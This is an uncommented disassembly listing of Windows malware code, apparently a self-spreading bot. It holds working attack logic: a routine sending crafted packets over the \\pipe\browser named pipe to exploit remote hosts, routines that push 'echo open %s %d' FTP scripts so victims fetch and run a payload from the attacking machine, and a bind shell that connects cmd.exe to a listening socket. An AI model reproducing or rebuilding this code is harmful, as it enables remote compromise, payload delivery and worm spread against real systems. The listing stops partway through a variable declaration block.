		mov	eax, offset byte_4404C4
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		call	dword_4CE3B0


loc_40EAB4:				; CODE XREF: sub_40EA40+29j
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4280F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C+4], eax
		jnz	short loc_40EAF9


loc_40EAF2:				; CODE XREF: sub_40EA40+266j
					; sub_40EA40+371j ...
		xor	eax, eax
		jmp	loc_40EF90
; ---------------------------------------------------------------------------


loc_40EAF9:				; CODE XREF: sub_40EA40+B0j
		push	48h
		lea	eax, [ebp+var_BC]
		push	ebx
		push	eax
		call	sub_41BC00
		push	10h
		xor	edi, edi
		pop	eax
		inc	edi
		mov	[ebp+var_B8], eax
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset dword_435954
		push	eax
		mov	[ebp+var_BC], 5
		mov	[ebp+var_BB], bl
		mov	[ebp+var_BA], 0Bh
		mov	[ebp+var_B9], 3
		mov	[ebp+var_B4], 48h
		mov	[ebp+var_B2], bx
		mov	[ebp+var_B0], ebx
		mov	[ebp+var_AC], 10B8h
		mov	[ebp+var_AA], 10B8h
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_A4], edi
		mov	[ebp+var_A0], bx
		mov	[ebp+var_9E], 1
		call	near ptr sub_41C9B0
		push	10h
		lea	eax, [ebp+var_88]
		push	offset dword_435940
		push	eax
		mov	[ebp+var_8C], 3
		call	near ptr sub_41C9B0
		add	esp, 24h
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_78], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_BC]
		push	48h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4280F0	; WriteFile
		test	eax, eax
		jz	loc_40EC9D
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60E0]
		push	esi
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4280EC	; ReadFile
		push	ebx
		call	sub_41D71B
		push	eax
		call	sub_41BF48
		push	14h
		lea	eax, [ebp+var_74]
		push	41h
		push	eax
		call	sub_41BC00
		push	1Ch
		lea	eax, [ebp+var_34]
		push	41h
		push	eax
		call	sub_41BC00
		add	esp, 20h
		call	sub_41BF52
		mov	esi, [ebp+arg_BC]
		mov	[ebp+var_74], eax
		mov	dword ptr [ebp+var_68],	edi
		mov	[ebp+var_6C], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_70], edi
		shl	esi, 2
		mov	word ptr [ebp+var_68+4], bx
		mov	[ebp+var_2C], ebx
		cmp	byte_4358E8[esi], bl
		jz	short loc_40EC46
		push	4
		mov	[ebp+var_28], edi
		mov	[ebp+var_30], edi
		push	offset dword_4D1018
		jmp	short loc_40EC56
; ---------------------------------------------------------------------------


loc_40EC46:				; CODE XREF: sub_40EA40+1F5j
		push	2
		pop	eax
		push	4
		mov	[ebp+var_28], eax
		mov	[ebp+var_30], eax
		push	(offset	loc_435937+1)


loc_40EC56:				; CODE XREF: sub_40EA40+204j
		lea	eax, [ebp+var_24]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		call	sub_41BF52
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_34], edx
		call	sub_41BF52
		cdq
		idiv	edi
		mov	eax, dword_4358DC[esi]
		mov	[ebp+var_1C], ebx
		push	eax
		mov	[ebp+arg_BC], eax
		inc	edx
		mov	[ebp+var_20], edx
		call	sub_41BB45
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_40ECAB


loc_40EC9D:				; CODE XREF: sub_40EA40+186j
		push	dword ptr [ebp+var_C+4]
		call	dword_428070	; CloseHandle
		jmp	loc_40EAF2
; ---------------------------------------------------------------------------


loc_40ECAB:				; CODE XREF: sub_40EA40+25Bj
		mov	eax, [ebp+arg_BC]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41BC00
		mov	eax, [ebp+arg_BC]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41BC00
		mov	eax, dword_4358E4[esi]
		push	7
		add	eax, edi
		push	offset dword_4358D0
		push	eax
		mov	[ebp+var_4], eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp+var_4]
		push	15Ch
		add	eax, 7
		push	offset dword_435770
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, dword_4358E0[esi]
		add	esp, 30h
		mov	[ebp+var_4], eax
		add	eax, edi
		cmp	byte_4358E8[esi], bl
		jz	short loc_40ED62
		push	4
		push	offset dword_4D1014
		push	eax
		call	near ptr sub_41C9B0
		add	[ebp+var_4], 0Ch
		mov	esi, offset dword_435900
		mov	eax, [ebp+var_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp+var_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+var_4], eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp+var_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 30h
		jmp	short loc_40ED88
; ---------------------------------------------------------------------------


loc_40ED62:				; CODE XREF: sub_40EA40+2D5j
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_C], 10h
		mov	esi, offset dword_435900


loc_40ED71:				; CODE XREF: sub_40EA40+346j
		push	4
		push	esi
		push	[ebp+var_4]
		call	near ptr sub_41C9B0
		add	[ebp+var_4], 4
		add	esp, 0Ch
		dec	dword ptr [ebp+var_C]
		jnz	short loc_40ED71


loc_40ED88:				; CODE XREF: sub_40EA40+320j
		mov	eax, [ebp+arg_BC]
		add	eax, 42h
		push	eax
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword ptr [ebp+var_C], esi
		jnz	short loc_40EDB6
		push	dword ptr [ebp+var_C+4]
		call	dword_428070	; CloseHandle
		push	edi
		call	sub_41B721
		pop	ecx
		jmp	loc_40EAF2
; ---------------------------------------------------------------------------


loc_40EDB6:				; CODE XREF: sub_40EA40+35Fj
		mov	eax, [ebp+arg_BC]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_41BC00
		lea	eax, [ebp+var_74]
		push	14h
		push	eax
		push	esi
		call	near ptr sub_41C9B0
		mov	eax, [ebp+arg_BC]
		mov	dword ptr [ebp+var_14+4], ebx
		mov	dword ptr [ebp+var_14],	eax
		add	esp, 10h
		fild	[ebp+var_14]
		fmul	flt_428694
		fstp	[esp+0Ch+var_C]
		call	sub_41CE2B
		call	sub_41CE04
		push	[ebp+arg_BC]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	near ptr sub_41C9B0
		mov	eax, [ebp+arg_BC]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+var_4], eax
		jz	short loc_40EE2C


loc_40EE24:				; CODE XREF: sub_40EA40+3E7j
		inc	eax
		test	al, 3
		jnz	short loc_40EE24
		mov	[ebp+var_4], eax


loc_40EE2C:				; CODE XREF: sub_40EA40+3E2j
		lea	ecx, [ebp+var_34]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	near ptr sub_41C9B0
		add	[ebp+var_4], 1Ch
		push	edi
		call	sub_41B721
		push	18h
		lea	eax, [ebp+var_4C]
		push	ebx
		push	eax
		call	sub_41BC00
		push	14h
		lea	eax, [ebp+var_60]
		push	ebx
		push	eax
		mov	[ebp+var_4C], 5
		mov	[ebp+var_4B], bl
		mov	[ebp+var_4A], bl
		mov	[ebp+var_49], 3
		mov	[ebp+var_48], 10h
		mov	[ebp+var_42], bx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_38], bx
		mov	[ebp+var_36], 1Fh
		call	sub_41BC00
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_4280FC	; CreateEventA
		mov	[ebp+var_50], eax
		mov	byte ptr [ebp+arg_BC+3], bl
		mov	dword ptr [ebp+var_14+4], ebx


loc_40EE9C:				; CODE XREF: sub_40EA40+51Ej
		cmp	dword ptr [ebp+var_14+4], 2
		jge	loc_40EF69
		push	1
		push	10B8h
		push	[ebp+var_4]
		inc	dword ptr [ebp+var_14+4]
		push	esi
		lea	esi, [ebp+var_4C]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+var_C+4]
		rep movsd
		call	sub_40E952
		add	esp, 2Ch
		test	al, al
		jz	loc_40EF66
		cmp	[ebp+var_50], ebx
		jz	short loc_40EF55
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_60E0]
		push	2000h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4280EC	; ReadFile
		test	eax, eax
		jnz	short loc_40EF0B
		call	dword_428094	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40EAF2


loc_40EF0B:				; CODE XREF: sub_40EA40+4B8j
		push	3E8h
		push	[ebp+var_50]
		call	dword_4280A8	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40EF55
		push	65h
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		mov	byte ptr [ebp+arg_BC+3], 1
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40C6DC
		mov	eax, [ebp+arg_A8]
		add	esp, 0C0h
		shl	eax, 6
		lea	eax, dword_434060[eax]
		inc	dword ptr [eax]


loc_40EF55:				; CODE XREF: sub_40EA40+497j
					; sub_40EA40+4DEj
		cmp	byte ptr [ebp+arg_BC+3], bl
		mov	esi, dword ptr [ebp+var_C]
		jz	loc_40EE9C
		jmp	short loc_40EF69
; ---------------------------------------------------------------------------


loc_40EF66:				; CODE XREF: sub_40EA40+48Ej
		mov	esi, dword ptr [ebp+var_C]


loc_40EF69:				; CODE XREF: sub_40EA40+460j
					; sub_40EA40+524j
		push	dword ptr [ebp+var_C+4]
		mov	edi, dword_428070
		call	edi	; CloseHandle
		push	esi
		call	sub_41B721
		cmp	[ebp+var_50], ebx
		pop	ecx
		jz	short loc_40EF85
		push	[ebp+var_50]
		call	edi	; CloseHandle


loc_40EF85:				; CODE XREF: sub_40EA40+53Ej
		xor	eax, eax
		cmp	byte ptr [ebp+arg_BC+3], bl
		setnz	al


loc_40EF90:				; CODE XREF: sub_40EA40+B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EA40	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		push	0
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EA40
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EFBE
		xor	eax, eax
		inc	eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40EFBE:				; CODE XREF: .XPack0:0040EFB7j
		push	1
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EA40
		add	esp, 0C0h
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40EFE2:				; CODE XREF: .XPack0:0040EFBCj
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EFE5	proc near		; CODE XREF: sub_40F0D3+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_428208	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_42820C	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_42821C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40F0B3
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F0B3
		mov	edi, 400h
		push	esi
		mov	esi, dword_428214
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42AA54
		push	eax
		push	eax
		push	dword_4CE048
		push	[ebp+arg_0]
		call	sub_40A8D5
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41BFF0
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_428220	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F0B7


loc_40F0B3:				; CODE XREF: sub_40EFE5+50j
					; sub_40EFE5+62j
		xor	eax, eax
		jmp	short loc_40F0CE
; ---------------------------------------------------------------------------


loc_40F0B7:				; CODE XREF: sub_40EFE5+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_428218	; closesocket
		xor	eax, eax
		inc	eax


loc_40F0CE:				; CODE XREF: sub_40EFE5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EFE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D3	proc near		; CODE XREF: sub_40C271+1D7p
					; DATA XREF: .XPack0:off_43405Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CE348	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CE308	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_42821C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F145
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F126
		push	esi
		jmp	short loc_40F13F
; ---------------------------------------------------------------------------


loc_40F126:				; CODE XREF: sub_40F0D3+4Ej
		push	0
		push	1213h
		push	offset dword_435988
		push	esi
		call	dword_428220	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40F149


loc_40F13F:				; CODE XREF: sub_40F0D3+51j
		call	dword_428218	; closesocket


loc_40F145:				; CODE XREF: sub_40F0D3+3Cj
		xor	eax, eax
		jmp	short loc_40F187
; ---------------------------------------------------------------------------


loc_40F149:				; CODE XREF: sub_40F0D3+6Aj
		call	dword_428218	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EFE5
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40F184
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_434060[eax]
		inc	dword ptr [eax]


loc_40F184:				; CODE XREF: sub_40F0D3+9Ej
		xor	eax, eax
		inc	eax


loc_40F187:				; CODE XREF: sub_40F0D3+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40F0D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40F18B	proc near		; DATA XREF: sub_40F219+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40F194:				; CODE XREF: sub_40F18B+25j
					; sub_40F18B+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4D1030
		call	dword_4CE320	; recv
		test	eax, eax
		jle	short loc_40F194
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4D102C
		call	dword_4280F0	; WriteFile
		jmp	short loc_40F194
sub_40F18B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40F1CE	proc near		; DATA XREF: sub_40F219+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40F1D7:				; CODE XREF: sub_40F1CE+2Fj
					; sub_40F1CE+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4D1020
		call	dword_4280EC	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40F1D7
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4D1030
		call	dword_4CE358	; send
		jmp	short loc_40F1D7
sub_40F1CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40F219	proc near		; DATA XREF: sub_401AA1+2CBFo

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	esi, esi
		xor	edi, edi
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4CE308	; ntohs
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4CE388	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE334	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4CE330	; listen
		mov	ebx, dword_42810C
		mov	esi, dword_428070


loc_40F299:				; CODE XREF: sub_40F219+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4CE39C	; accept
		mov	dword_4D1030, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4D102C
		push	offset dword_4D1028
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4D1024
		push	offset dword_4D1020
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_41BC00
		mov	eax, dword_4D1028
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4D1024
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_428108	; GetCurrentProcess
		push	eax
		push	dword_4D1024
		call	dword_428108	; GetCurrentProcess
		push	eax
		call	dword_428104	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	dword_428074	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40F1CE
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_428084	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40F18B
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_428084	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4280A8	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4280B4	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4280B4	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_428100	; TerminateProcess
		push	dword_4D1028
		call	esi	; CloseHandle
		push	dword_4D102C
		call	esi	; CloseHandle
		push	dword_4D1020
		call	esi	; CloseHandle
		push	dword_4D1024
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40F299
sub_40F219	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40F3E9	proc near		; DATA XREF: .XPack0:0042A010o
		jmp	$+5
sub_40F3E9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F3EE	proc near
		push	0FFFEh
		push	400h
		call	sub_418D19
		pop	ecx
		mov	dword_4D1034, eax
		pop	ecx
		retn
sub_40F3EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F405	proc near		; DATA XREF: sub_40BC0C+352o

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4CE308	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4CE388	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40F4AC
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40F48C
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409743
		add	esp, 14h


loc_40F48C:				; CODE XREF: sub_40F405+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		push	[ebp+var_AC]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_40F4AC:				; CODE XREF: sub_40F405+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_441254[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CE334	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40F5A7
		call	dword_4CE29C	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40F52C
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F50C
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409743
		add	esp, 14h


loc_40F50C:				; CODE XREF: sub_40F405+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		push	[ebp+var_AC]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_40F52C:				; CODE XREF: sub_40F405+DEj
		push	0FFFEh
		push	ebx
		call	sub_418D19
		pop	ecx
		mov	dword_4D1034, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4CE334	; bind
		cmp	eax, esi
		jnz	short loc_40F5A7
		call	dword_4CE29C	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F587
		cmp	eax, 2740h
		jz	short loc_40F587
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409743
		add	esp, 14h


loc_40F587:				; CODE XREF: sub_40F405+159j
					; sub_40F405+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		push	[ebp+var_AC]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_40F5A7:				; CODE XREF: sub_40F405+CDj
					; sub_40F405+14Cj
		push	5
		push	edi
		call	dword_4CE330	; listen
		cmp	eax, esi
		jz	loc_40F68C
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_42AA54


loc_40F5C4:				; CODE XREF: sub_40F405+1D7j
					; sub_40F405+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4CE39C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40F5C4
		cmp	[ebp+var_1C], 0
		jnz	short loc_40F605
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409743
		add	esp, 14h


loc_40F605:				; CODE XREF: sub_40F405+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE320	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F5C4
		push	esi
		push	esi
		push	dword_4CE048
		push	[ebp+var_B0]
		call	sub_40A8D5
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_41BFF0
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F5C4
		inc	dword_4D1038
		jmp	loc_40F5C4
; ---------------------------------------------------------------------------


loc_40F68C:				; CODE XREF: sub_40F405+1ADj
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_AC]
		call	sub_40B56A
		pop	ecx
		push	0
		call	dword_4280D4	; ExitThread
sub_40F405	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6A7	proc near		; DATA XREF: sub_40BC0C+22Bo

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_138		= byte ptr -138h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
